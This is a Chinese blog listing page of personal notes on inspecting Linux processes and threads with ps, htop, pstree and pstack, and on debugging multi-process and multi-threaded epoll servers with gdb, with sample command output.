root     48369     1 48377  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d


ps axms
ps -T -p <pdfwatcherd的PID>
将列出该进程所有线程的信息,包括线程的 ID(TID)、状态、运行时间等。
ps -T -p 48369
  PID  SPID TTY          TIME CMD
48369 48369 ?        00:00:00 pdfwatcherd
48369 48370 ?        00:00:01 pdfwatcherd
48369 48371 ?        00:00:00 pdfwatcherd
48369 48372 ?        00:00:00 pdfwatcherd
48369 48373 ?        00:00:00 pdfwatcherd
48369 48375 ?        00:00:00 pdfwatcherd
48369 48376 ?        00:00:00 pdfwatcherd
48369 48377 ?        00:00:00 pdfwatcherd
-T     Show threads, possibly with SPID column.
-p pidlist
               Select by PID.  This selects the processes whose process ID numbers appear in pidlist.  Identical to p and --pid.

打印进程树
ps -ejH
ps axjf

CentOS使用下ps命令无头计算PHP-FPM进程内存统计的方法:
0)100个子进程,加上主进程101
1)每个PHP不到10M
2)Ps显示的是kb,得大体除以1024


--no-headers    print no header line at all
ps -f -C  php --no-headers
ps -f -C  php --no-headers


看Logstash多线程, L的意思,light weight process:


执行后请用ps查看是否存在两个ppid为1的主进程,如果存在,使用kill杀掉重启中未正常杀掉的进程
PHP启动的守护进程:ps -f -C php
PHP-FPM进程:ps -f -C php-fpm

PHP-FPM的单进程单线程模型,用ps 命令,-L参数显示进程,并尽量显示其LWP(线程ID)和NLWP(线程的个数),如下:
[root@rh08 none]# ps -eLf | grep php-fpm
www      39154 22867 39154  2    1 10:38 ?        00:00:01 php-fpm: pool www                                                                                                            
www      39155 22867 39155  2    1 10:38 ?        00:00:01 php-fpm: pool www                                                                                                            
www      39156 22867 39156  2    1 10:38 ?        00:00:01 php-fpm: pool www                                                                                                            
www      39157 22867 39157  2    1 10:38 ?        00:00:01 php-fpm: pool www                                                                                                            
www      39158 22867 39158  2    1 10:38 ?        00:00:01 php-fpm: pool www
上面命令查询结果的第二列为PID,第三列为PPID,第四列为LWP,第六列为NLWP。

ps命令还可以查看线程在哪个CPU上运行:
[root@rh08 none]# ps -eo ruser,pid,ppid,lwp,psr,args -L | grep php
root     22867     1 22867   1 php-fpm: master process (/usr/local/php/etc/php-fpm.conf)                                                                    
www      38929 22867 38929   0 php-fpm: pool www                                                                                                            
www      38930 22867 38930   0 php-fpm: pool www                                                                                                            
www      38934 22867 38934   0 php-fpm: pool www                                                                                                            
www      38935 22867 38935   0 php-fpm: pool www                                                                                                            
www      38936 22867 38936   0 php-fpm: pool www                                                                                                            
www      38937 22867 38937   1 php-fpm: pool www    
From:http://smilejay.com/2012/06/linux_view_threads/

yum install epel-release -y
yum install htop -y

#pstree -c|grep shutdown
        |      |-sshd---sshd---bash---sudo---su---bash---go-+-shutdown-+-{shutdown}
        |      |                                            |          |-{shutdown}
        |      |                                            |          |-{shutdown}
        |      |                                            |          |-{shutdown}
        |      |                                            |          `-{shutdown}

ps -T -p  12264
    PID    SPID TTY          TIME CMD
  12264   12264 pts/1    00:00:00 shutdown
  12264   12266 pts/1    00:00:00 shutdown
  12264   12267 pts/1    00:00:00 shutdown
  12264   12268 pts/1    00:00:00 shutdown
  12264   12269 pts/1    00:00:00 shutdown
  12264   12270 pts/1    00:00:00 shutdown

top -H -p  12264
    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND                                                                            
  12264 root      20   0  702872   4924    740 S   0.0   0.6   0:00.00 shutdown                                                                          
  12266 root      20   0  702872   4924    740 S   0.0   0.6   0:00.00 shutdown                                                                          
  12267 root      20   0  702872   4924    740 S   0.0   0.6   0:00.00 shutdown                                                                          
  12268 root      20   0  702872   4924    740 S   0.0   0.6   0:00.00 shutdown                                                                          
  12269 root      20   0  702872   4924    740 S   0.0   0.6   0:00.00 shutdown                                                                          
  12270 root      20   0  702872   4924    740 S   0.0   0.6   0:00.00 shutdown

Htop:
yum install htop  

htop -p 67517
    PID USER      PRI  NI  VIRT   RES   SHR S CPU% MEM%   TIME+  Command                                                                                     67519 root       20   0  686M  2880   740 S  0.0  0.3  0:00.00 /tmp/go-build3856511210/b001/exe/shutdown                                                



  67520 root       20   0  686M  2880   740 S  0.0  0.3  0:00.00 /tmp/go-build3856511210/b001/exe/shutdown
  67521 root       20   0  686M  2880   740 S  0.0  0.3  0:00.00 /tmp/go-build3856511210/b001/exe/shutdown
  67522 root       20   0  686M  2880   740 S  0.0  0.3  0:00.00 /tmp/go-build3856511210/b001/exe/shutdown

Display Options ,[V]Tree view  [V]show custom thread name ,勾选是空格键盘,上下键移动菜单条目,OK后,按<F10>退出设置,左斜杠搜索F2也是搜索,F3是Next,ESC推出。
一个对用户更加友好的方式是,通过htop查看单个进程的线程,它是一个基于ncurses的交互进程查看器。该程序允许你在树状视图中监控单个独立线程。
要在htop中启用线程查看,请开启htop,然后按<F2>来进入htop的设置菜单。选择“设置”栏下面的“显示选项”,然后开启“树状视图”和“显示自定义线程名”选项。按<F10>退出设置。
From: http://www.codeceo.com/article/linux-find-thread.html

0.最常用 pstree:
[root@iZ25dcp92ckZ temp]# pstree -a|grep multe
  |       |   `-multepoolser
  |       |       `-multepoolser
  |       |           `-2*[{multepoolser}]

1. > top

可以显示所有系统进程

按u, 再输入相应的执行用户名称,比如Tom

可以看到Tom用户启动的所有进程和对应的pid

2. > pstack pid

可以看到此pid下,各线程的运行状态、

[root@test multepoolserver]# pstack  14944  (进程的PID号)
Thread 2 (Thread 0x41ed5940 (LWP 14945)):
#0  0x0000003c9ae0d5cb in read () from /lib64/libpthread.so.0
#1  0x00000000004017b6 in sync_additional_writing_worker ()
#2  0x0000003c9ae064a7 in start_thread () from /lib64/libpthread.so.0
#3  0x0000003c9a2d3c2d in clone () from /lib64/libc.so.6
Thread 1 (Thread 0x2b24b3094250 (LWP 14944)):
#0  0x0000003c9a2d4018 in epoll_wait () from /lib64/libc.so.6
#1  0x0000000000401d59 in Process ()
#2  0x00000000004029b8 in main ()

来自:http://blog.csdn.net/wind_324/article/details/6152912

方法一:
ps -ef f
用树形显示进程和线程
在Linux下面好像因为没有真正的线程,是用进程模拟的,有一个是辅助线程,所以真正程序开的线程应该只有一个。

方法二:
[root@apache dhj]# ps axm|grep httpd

方法三:
另外用pstree -c也可以达到相同的效果,但是没有线程号:
[root@apache dhj]# pstree -c|grep httpd

来自:http://blog.chinaunix.net/uid-346158-id-2131012.html
阅读全文
背景:Linux下的硬件有很多,如何看网卡是啥样的,声卡是啥样的有几个USB口及品牌。


该命令作用:将lspci的输出当做输入,从中找出包含Eth的行。在我的Fedora机器上运行结果为

[root@localhost etc]# lspci | grep Eth
00:04.0 Ethernet controller: Silicon Integrated Systems [SiS] SiS900 PCI Fast Ethernet (rev 91)

lspci命令解说:该命令能列出机器中的PCI设备信息,如声卡,显卡,Modem,网卡等信息,主板集成设备的信息也能列出来,lspci读取的是hwdata数据库。

| 管道命令,之前的输出作为之后的输入

grep grep命令后设置指定过滤的字符串,任何没有包括指定字符串的行都不会显示。

来自:http://www.cnblogs.com/xiandedanteng/archive/2013/08/23/3277746.html
前置:Linux多进程和多线程的一次gdb调试实例:https://typecodes.com/cseries/multilprocessthreadgdb.html ,Linux C/C++开发中gdb进行多进程和多线程的调试一直比较麻烦,在CSDN上看到高科的一篇文章《gdb调试多进程和多线程命令》比较有启发,这里就自己重新整理并做了一个GDB多进程/线程的调试实践。
这个表很重要,两个参数一块用:


也可将前面的set添加到~/.gdbinit来打开non-stop模式:


查看相关命令:
set follow-fork-mode child
set detach-on-fork off
info inferiors                    #####显示正在调试的进程
inferior 2
show detach-on-fork #Whether gdb will detach the child of a fork is off.
show follow-fork-mode #Debugger response to a program call of fork or vfork is "child"
info b #查看断点
进程树:
pstree -pul
PS查看自己程序名运行的多进程:
ps -f -C multepoolser

break  if
要想设置一个条件断点,可以利用break if命令,如下所示:
[cpp] view plain copy
(gdb) break line-or-function if expr  
(gdb) break 46 if testsize==100  
clean number
清除原文件中某一代码行上的所有断点
注:number 为原文件的某个代码行的行号


断点的管理
1. 显示当前gdb的断点信息: info break
2. delete 删除指定的某个断点: delete breakpoint

单步执行
continue      继续运行程序直到下一个断点(类似于VS里的F5)
next            逐过程步进,不会进入子函数(类似VS里的F10)  #这个不进入函数里。
setp            逐语句步进,会进入子函数(类似VS里的F11) 的确能进入到函数里面。
until           运行至当前语句块结束  #没弄明白,试了试没找到规律
finish          运行至函数结束并跳出,并打印函数的返回值(类似VS的Shift+F11)
next/n 不进入的单步执行 step 进入的单步执行
finish
如果已经进入了某函数,而想退出该函数返回到它的调用函数中,可使用命令finish
call name
调用和执行一个函数
(gdb) call gen_and_sork( 1234,1,0 )  
(gdb) call printf(“abcd”)  
$1=4  
finish 结束执行当前函数,显示其返回值(如果有的话)

原文件的搜索 search text
该命令可显示在当前文件中包含text串的下一行。
reverse-search text
该命令可以显示包含text 的前一行。

set variable 给变量赋值
signal 将一个信号发送到正在运行的进程
watch 在程序中设置一个监测点(即数据断点)
whatis 显示变量或函数类型

来自GDB调试精粹:http://blog.csdn.net/lwbeyond/article/details/7839225

GDB打印所有字符串:@ http://blog.csdn.net/shuizhizhiyin/article/details/53227913

如果出现No symbol "header_line" in current context.,你得切换到那个进程里面去,能切换进去的前提是你提前打了断点:
(gdb) p header_line
No symbol "header_line" in current context.
可:info thread 切换到对应的进程,再打印也就有了。


break FileName.cpp:LinuNum thread all:所有线程都在文件FileName.cpp的第LineNum行有断点。
thread apply ID1 ID2 IDN command:多个线程执行gdb命令command。
thread apply all command:所有线程都执行command命令。
set scheduler-locking off|on|step:在调式某一个线程时,其他线程是否执行。off,不锁定任何线程,默认值。on,锁定其他线程,只有当前线程执行。step,在step(单步)时,只有被调试线程运行。
set non-stop on/off:当调式一个线程时,其他线程是否运行。
set pagination on/off:在使用backtrace时,在分页时是否停止。
set target-async on/ff:同步和异步。同步,gdb在输出提示符之前等待程序报告一些线程已经终止的信息。而异步的则是直接返回。
来自:http://blog.csdn.net/helloktt/article/details/73252943
http://www.tolxs.com/?p=302
(gdb)  show detach-on-fork
Whether gdb will detach the child of a fork is off.
(gdb) show follow-fork-mode
Debugger response to a program call of fork or vfork is "child"

出现:
(gdb) n
Cannot execute this command while the selected thread is running.

(gdb) info threads
  Id   Target Id         Frame
  3    Thread 0x7fffece72700 (LWP 27660) "multepoolser" handleEpollRdMessage (threadNum=0) at multepoolser.c:262
* 2    Thread 0x7ffff7fde840 (LWP 21243) "multepoolser" (running)
  1    Thread 0x7ffff7fde840 (LWP 21239) "multepoolser" 0x00007ffff668774c in fork () from /lib64/libc.so.6

root     21239 16286  0 17:22 pts/1    00:00:00 [httpmut: master process] master process
apache   21243 21239  0 17:22 pts/1    00:00:00 [httpmut: worker process] worker process

目前在进程:2,前面有*号,我得到3上面去,怎么弄?
thread 3
(gdb) thread 3
[Switching to thread 3 (Thread 0x7fffece72700 (LWP 27660))]
#0  handleEpollRdMessage (threadNum=0) at multepoolser.c:262
262         printf("handleEpollRdMessage function 's threadNum=%d\n",threadNum);
(gdb) n
handleEpollRdMessage function 's threadNum=0
263         int recvlen=-1,epollRdQueRet=-1;//返回
info threads #此时就在3了吧
(gdb) info threads
  Id   Target Id         Frame
* 3    Thread 0x7fffece72700 (LWP 27660) "multepoolser" handleEpollRdMessage (threadNum=0) at multepoolser.c:263
  2    Thread 0x7ffff7fde840 (LWP 21243) "multepoolser" (running)
  1    Thread 0x7ffff7fde840 (LWP 21239) "multepoolser" 0x00007ffff668774c in fork () from /lib64/libc.so.6

卡这儿了,也就是主进程网络那边没有来Epoll句柄,getepollRdFromQue队列一直是空的,怎么办?
(gdb) p epollRdQueRet
$2 = -1
(gdb) n
455         }
(gdb)
302             epollRdQueRet = getepollRdFromQue(&sockRdQue[threadNum],&epollRd);//只要有生产的fd进来并该线程获取到了,就立即去epoll读队列里抢,一线程一队列,不用锁。
(gdb)
303             if(epollRdQueRet == -1) continue;//没有获取到epollRd,继续获取。
(gdb)
455         }

此时如果有的进程需要运行,怎么办?GDB命令:thread apply 3 1 continue #让线程3继续运行,注意我顾意把主线程1也continue。
thread apply 3 1 2 continue


需要实践,链接如下:
http://blog.sina.com.cn/s/blog_53fab15a0101g88r.html
https://www.cnblogs.com/frankbadpot/archive/2010/06/23/1762916.html
http://blog.csdn.net/wangyin159/article/details/47169267

=============================================================================

背景:当你在做一些多进程调试时,会出现一个问题,那就是子进程往往不太好调试,怎么办?如果子进程一直在while里飞快的运行着怎么办,这篇文章就是教会你进行双gdb调试,以实现了子进程的调试,这儿在没有调试时,其子进程是不断的打印,当然最好在while里加一个sleep,但第二个gdb进入后则会存在第一个gdb的打印变慢了,此时,可以在第二个gdb里打印相关变量,达到对子进程的调试目的,特别注意的是,第二个gdb一定要在那个子进程的行里break(这儿是31行)进行调试,而不是放在其它地方,否则是没法调试到子进程的。第三个是:进程中断点.然后用c(这里要用continue,因为attach的进程已经在运行了,不能用run)。最后,子进程死了父亲进程拉起,crack这块可能是return退出了,自己打印是crack,导致并不是真正的crack了,也就不是coredump了,特别注意这个问题。
     当你在程序中使用fork(),如果用gdb来调试.不管是你在子进程是否设置断点.你都只能在父进程单步调试,而没办法进入到子进程当中进行单步调试.因为gdb的所有处理(查看堆栈,内存,变量值)都是针对当前进程空间.

那么是否就没办法调试多进程程序的子进程代码呢?办法还是有的,一般的标准方法是再打开一个gdb用attach功能来调试子进程gdb attach 功能是不执行被调试程序,而是把gdb“挂”到一个已经运行的进程之上来进行调试,这挂载的动作称为attach.当然也包括挂载子进程。

注意两点:
0.当主gdb进来后进行断点后,子进程尽管断点了,但依然运行(为第二个gdb作暂停准备之用),而当第二个gdb对子进程进行attach后,其主gdb的子进程的打印动作也就暂停(为方便调试,可以在进程启动后,设定sleep一段时间,如30s,其实只要第二个gdb一attach到子进程,子进程就柱塞了。),此时子gdb再进行设置断点,按c运行,按n作next就行。
1.子进程的主gdb点和第二个gdb的break点要同一行?不必要,其主gdb只是起到在第二个gdb单独调该进程时起到暂停其主的子进程的作用罢了。
2.在子进程的gdb里,要用c来继续,(这里要用continue,因为attach的进程已经在运行了,不能用run!(也就是:主进程用r(先运行着,主进程不退出。),子进程用c,继续在原来那个停下来的点继续运行到后,再用n命令,即next一步一步查问题,n(next):显示的是即将运行这一行,也就是还没有运行。)
3.gdb调试epoll时遇到的Interrupted system call:
signal(SIGALRM,timer_handle);
最近写了个多线程数据处理的程序,其中用到sem_wait()在信号量为0的时候挂起程序. 程序全速执行的时候没有任何问题,但gdb单步调试的时候,因执行sem_wait()函数而挂起的线程经常出现Interrupted system call,不能正常执行.
    原因在于,gdb单步调试的时候会在断点处插入一条中断指令,当程序执行到该断点处的时候会发送一个SIGTRAP信号,程序转去执行中断相应,进而gdb让程序停下来进行调试. 对于sem_wait\wait\read等会阻塞的函数在调试时,如果阻塞,都可能会收到调试器发送的信号,而返回非0值.
    为了解决这个问题需要在代码中忽略由于接收调试信号而产生的"错误"返回:


到一篇文章《gdb常用命令及使用gdb调试多进程多线程程序》:http://www.cnblogs.com/33debug/p/7043437.html ,代码编译无法通过,代码调整如下,gdb_pthread.c:



关于GDB无法调试epoll的疑问?
这种交互式的网络程序最好不用gdb来调?
调试网络通讯程序最好别用GDB,epoll你可以用strace,gdb是用来调试 C数据结构逻辑之类的。
打日志是我的首选调试方法,如果程序崩溃就看core 文件,如果死锁就 attach上去,其他的错误我从不用GDB
不是epoll和gdb的问题,而是在gdb下epoll_wait 信号处理和正常运行有差异造成的,应该是这个。
摘自:http://bbs.chinaunix.net/thread-1551201-1-1.html

多进程调试如下所述即可,如下,特别是新的linux内核版本能支持到多进程了,相当好用:
在2.5.60版Linux内核及以后,GDB对使用fork/vfork创建子进程的程序提供了follow-fork-mode选项来支持多进程调试。
follow-fork-mode的用法为:
set follow-fork-mode [parent|child]
parent: fork之后继续调试父进程,子进程不受影响。
child: fork之后调试子进程,父进程不受影响。
因此如果需要调试子进程,在启动gdb后:
(gdb) set follow-fork-mode child

这块可以研究一下,新的内核及新的gdb有新功能很方便使用:
set follow-fork-mode child
//set detach-on-fork on //gdb控制父子进程,不让调试了: Can't attach LWP 24731: Operation not permitted,得打开:ON。
b 146 //main里的子进程行
b 192  //子进程调用的函数原型行
r //执行到子进程断点处
n //子进程单步执行

实践心得:一般情况下多线程的时候,由于是同时运行的,最好设置 set scheduler-locking on 这样的话,只调试当前线程 。
off 不锁定任何线程,也就是所有线程都执行,这是默认值。 on 只有当前被调试程序会执行。
vi bp.list

gdb.sh

(一)这块在调试epoll时,在n单步执行卡后(c执行前先断点),得通过浏览器模拟socket请求才能过得去,否则会一直卡那儿,如下:


这块如果continue后,中间因为断点就一次是没法下次进入的,需要引入gdb判断(if {expression} else end条件判断语句, if 后面所带的表达式为一般的GDB表达式:http://blog.csdn.net/horkychen/article/details/9372039)及观察点,才能更加深入了解,下面是试图没有断点运行起来后实现ctrl+C退出,想继续n的尝试:
(二)再就是对c后一直卡那儿,可以按ctrl+C退出( SIGINT   :来自键盘的中断信号 ( ctrl + c ) .),SIGTERM:kill 命令发出 的信号.,继续n执行:
Program received signal SIGINT, Interrupt.
0x0000003c9a2d3fd3 in __epoll_wait_nocancel () from /lib64/libc.so.6
(gdb) n
Single stepping until exit from function __epoll_wait_nocancel,
which has no line number information.

这块不知怎么回事....需要进一步学习了解。

Process(listenFd); //运行至工作子进程的函数,;b 192进行单步执行。

直接gdb后attach子进程:
#ps -f -C multepoolser
UID        PID  PPID  C STIME TTY          TIME CMD
root      2150 19720  0 17:09 pts/1    00:00:00 [httpmut: master process] master process
apache    2151  2150 93 17:09 pts/1    00:00:01 [httpmut: worker process] worker process
2151就是子进程,怎么办?
gdb   #运行gdb
attach 2151
现在就可以调试了。一个新的问题是,子进程一直在运行,attach上去后都不知道运行到哪里了。有没有办法解决呢?

一个办法是,在要调试的子进程初始代码中,比如main函数开始处,加入一段特殊代码,使子进程在某个条件成立时便循环睡眠等待,attach到进程后在该代码段后设上断点,再把成立的条件取消,使代码可以继续执行下去。

至于这段代码所采用的条件,看你的偏好了。比如我们可以检查一个指定的环境变量的值,或者检查一个特定的文件存不存在。以文件为例,其形式可以如下:

1
2
3
4
5
6
7
8
9
10
void debug_wait(char *tag_file)
{
    while(1)
    {
        if (tag_file存在)
            睡眠一段时间;
        else
            break;
    }
}
当attach到进程后,在该段代码之后设上断点,再把该文件删除就OK了。当然你也可以采用其他的条件或形式,只要这个条件可以设置/检测即可。

Attach进程方法还是很方便的,它能够应付各种各样复杂的进程系统,比如孙子/曾孙进程,比如守护进程(daemon process),唯一需要的就是加入一小段代码。

https://www.ibm.com/developerworks/cn/linux/l-cn-gdbmp/

学习参考:
http://blog.csdn.net/nyist327/article/details/40040011
http://blog.sina.cn/dpool/blog/s/blog_55d572ca0100v8e8.html

修改如下:


主gdb:
(gdb) b 167
Breakpoint 1 at 0x4025a1: file multipepollserver.cpp, line 167.
(gdb) b 147
Breakpoint 2 at 0x40250f: file multipepollserver.cpp, line 147.
(gdb) r
Starting program: /home/xiangdong/multepoolserver/multipepollserver
[Thread debugging using libthread_db enabled]
Detaching after fork from child process 27539.
[New Thread 0x2afb66031230 (LWP 27536)]

Breakpoint 1, main (argc=1, argv=0x7fff550003c8, envp=0x7fff550003d8) at multipepollserver.cpp:168
168    

辅助gdb:
(gdb) b 147
Breakpoint 1 at 0x40250f: file multipepollserver.cpp, line 147.
(gdb) c
Continuing.
n

以上代码来自,也就是上面的程序调试的整个代码放在:http://jackxiang.com/post/6937/  ,不完善进一步学习中。

来自:
    http://blog.sina.com.cn/s/blog_5cec1e1d0100guwf.html
    http://blog.csdn.net/qiaoliang328/article/details/7404032
    http://bbs.csdn.net/topics/380004392
首先我们看一个如下简单的多进程程序。
阅读全文
分页: 27/40 第一页 上页 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 下页 最后页 [ 显示模式: 摘要 | 列表 ]